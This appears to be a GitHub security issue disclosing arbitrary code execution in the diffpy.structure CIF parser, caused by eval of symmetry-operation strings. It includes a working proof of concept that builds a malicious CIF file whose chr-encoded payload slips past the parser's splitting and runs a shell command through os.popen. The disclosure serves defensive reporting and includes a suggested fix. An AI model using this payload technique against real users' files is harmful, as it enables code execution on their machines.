Skip to content

arbitrary code execution when loading a CIF file via eval of symmetry-operation strings (CWE-95) #204

Closed

Description

@r3vpwnx

Summary

Loading an attacker-supplied CIF file with diffpy.structure runs arbitrary code as the user. Each translation part of a CIF symmetry operation is passed to eval with no restricted globals, so an expression placed in a _space_group_symop_operation_xyz entry executes while the file is parsed, before diffpy.structure returns a structure. This is the default parse path and there is no sandbox and no opt-in.

Details

In src/diffpy/structure/parsers/p_cif.py, get_symop splits a symmetry-operation string and evaluates each translation fragment:

901:def get_symop(s):
...
916:    snoblanks = s.replace(" ", "")
917:    eqlist = snoblanks.split(",")
...
921:        eqparts = re.split("(?i)([+-]?[xyz])", eqlist[i])
...
924:        for tpart in eqparts[::2]:
925:            t[i] += eval("1.0*%s+0" % tpart)

eval("1.0*%s+0" % tpart) is called with no globals argument, so it runs in the module namespace with Python's real builtins available; this is eval-injection (CWE-95), not a sandbox. tpart derives from the attacker's symmetry operation: s is read verbatim from the CIF _space_group_symop_operation_xyz (or _symmetry_equiv_pos_as_xyz) loop, reached by _parse_space_group_symop_operation_xyz (p_cif.py:583) calling get_symop (p_cif.py:615). get_symop removes spaces, splits on commas, and re-splits on x, y and z, so a payload that avoids those characters (built from chr so it needs no quotes either) survives all three transforms and still reaches the eval. The attacker controls the entire file; a block is parsed as a structure as soon as it contains _atom_site_label.

Proof of concept

Tested with diffpy.structure 3.5.0, pycifrw 5.0.1, numpy 2.5.5, Python 3.13 on Linux.

Build the file (the symop fragment is space-free, comma-free, quote-free and contains no x, y or z, so it passes get_symop's splits; it runs id > /tmp/diffpoc via os.popen, wrapped in len() so the eval still returns a number):

python3 - <<'PY'
# os.popen("id>/tmp/diffpoc").read(), all chars chr-encoded to avoid quotes and the letters x/y/z
cmd = "+".join("chr(%d)" % b for b in b"id>/tmp/diffpoc")
osmod = "chr(111)+chr(115)"
frag = "len(__import__(%s).popen(%s).read())" % (osmod, cmd)
open('evil.cif','w').write(
    "data_poc\n"
    "loop_\n"
    "_atom_site_label\n"
    "_atom_site_fract_x\n"
    "_atom_site_fract_y\n"
    "_atom_site_fract_z\n"
    "Si 0.0 0.0 0.0\n"
    "loop_\n"
    "_space_group_symop_operation_xyz\n"
    + frag + ",y,z\n"
)
PY

Victim action (the shipped public reader):

python3 -c "from diffpy.structure.parsers import get_parser; get_parser('cif').parse_file('evil.cif')"

Result:

$ cat /tmp/diffpoc
uid=1000(<user>) gid=1000(<user>) groups=1000(<user>)

A legitimate CIF carries symmetry operations such as x,y,z or 1/2-x,1/2+y,z, whose translation parts are numeric fractions; the only difference between a benign file and the exploit is that the fragment is an arbitrary expression, and the unrestricted eval is what runs it. The marker file is written during the parse_file call.

Impact

Anyone who opens a CIF file from an untrusted source (a collaborator, a download, a structure database export, a supplementary file attached to a paper) runs the file author's code with their privileges. CIF is the universal crystallography exchange format and such files move constantly between researchers and out of repositories like the COD, ICSD and the Materials Project, so delivery is realistic; diffpy.structure is also a dependency across the DiffPy and PDF analysis ecosystem, so the reach is wide.

Suggested fix

In src/diffpy/structure/parsers/p_cif.py, the translation parts are rational numbers, so parse them with fractions.Fraction (or a numeric parser) instead of eval; if eval is kept, pass {"__builtins__": None} as globals plus an identifier allow-list.

Affected

  • Package: diffpy.structure (PyPI)
  • Affected versions: <= 3.5.0 (through default-branch HEAD 2a75e1f387)
  • Patched versions: none
  • Severity: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Weaknesses: CWE-95

Credit

Dilanka Kaushal Hewage (r3vpwnx) dilankakaushalhewage@gmail.com

Activity

  1. sbillinge commented on Nov 21, 2026

    @sbillinge
    Contributor

    @r3vpwnx thanks so much for reporting this. We have posted a fix and release a security advisory to avoid earlier versions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions